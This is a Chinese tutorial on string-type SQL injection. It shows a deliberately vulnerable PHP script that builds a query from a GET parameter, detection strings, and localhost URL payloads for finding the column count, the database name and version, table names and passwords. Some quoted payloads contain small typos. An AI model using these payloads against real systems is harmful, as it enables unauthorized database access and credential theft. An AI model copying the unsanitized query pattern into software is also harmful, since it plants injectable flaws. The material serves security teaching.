一、什么是字符型注入以及原理
1)字符型注入简介
字符串或串(String)是由数字、字母、下划线组成的一串字符。一般记为 s=“a1 a2 an ” (n>=0)。它是编程语言中表示文本的数据类型。字符型注入就是把输入的参数当做字符串来对数据库进行查询,字符型注入 在sql语句中都采用单引号括起来。
2)基本原理:
看看这条SQL语句
$query="select first_name from users where id='$_GET['id']'";这句SQL的语句就是基于用户输入的id在users表中找到相应的first_name,正常用户当然会输入例如1,2等等。但是如果有人输入这样的内容呢?
1' union select database() #;
这样的话这句SQL语句就变成了这样
select first_name from users where id='1'unionselect database()#'
这样的话,我们不仅可以得到id=1的first_name,还可以得到当前数据库的相关信息,这是开发人员所没有想到的。以上只是一个简单的SQL注入的例子。
从根本上讲,当开发人员对用户的输入过滤不严,造成了用户可以通过输入SQL语句控制数据库,就会产生SQL注入漏洞。
简而言之,基于字符型的SQL注入即存在SQL注入漏洞的URL参数为字符串类型( 需要使用单引号表示 )。字符型SQL注入的关键― 单引号的闭合
mysql 数据库对于单引号的规则如下:
单引号必须成对出现,否则数据库就会报错。 如果两个单引号之间内容为空,数据库自动忽略。应用程序数据库的字符型SQL语句为:
select * from tables where idproduct=’13’; select * from tables where name=’fendo’; select * from tables where data=’01/01/2017’;二、字符型注入与数字型注入的区别
字符:除数字之外都是字符
数字: 0-9
两种SQL语句的区别:
数字型: SELECT 列 FROM 表 WHERE 数字型列=值
三、如何判断是否是字符型注入
测试注入语句是:
xx' and '1'=1--'
xx' and '1=2--'
如果第一个页面正常,而使用第二个的时候页面出现错误则,该url可以进行字符型注入


四、字符型注实战
测试源码:
<? $name=$_GET['username']; $conn=mysql_connect("127.0.0.1","root","123");//连接mysql数据库 if($conn){ echo "连接数据库成功!"; }//判断连接是否成功 echo "<br>"; mysql_select_db('fendo',$conn);//选择连接请求为conn的数据库(fendo) $sql="select * from user where username = '$name'"; //字符型搜索语句 $result=mysql_query($sql); while($row = mysql_fetch_array($result)){ echo "用户ID:".$row['id']."<br >"; echo "用户名:".$row['username']."<br >"; echo "用户密码:".$row['password']."<br >"; echo "用户邮箱:".$row['email']."<br >"; } mysql_close($conn); //关闭数据库连接 echo "<hr>"; echo "你当前执行的sql语句为:"."<br >"; echo $sql; ?>表数据:

当我们访问:http://localhost/sqltest/char.php?username=admin 时
执行的代码是:
$sql="select * from user where username = '$name'";解析成SQL就是 select * from user where username = 'admin' 执行结果为

进行SQL注入:
1.猜字段数
使用union select 1,2,3,4.... 去猜。这里为4是正确说明字段数为4。
http://localhost/sqltest/char.php?username=admin' union select 1,2,3,4 and '1'='1
爆出1,2,3 更换SQL语句得出 当前的数据库名字与 数据库版本
http://localhost/sqltest/char.php?username=admin' union select database(),version(),3,4 and '1'='1
2.猜表名
获取表名使用 '+and+(select+count(*)+from+表名)>0+and+''=' 这种格式。
http://localhost/sqltest/char.php?username=admin'+and+(select+count(*)+from+user)>0+and+''='
没报错说明存在user这个表。
3.猜密码
http://localhost/sqltest/char.php?username=admin' and password='fendo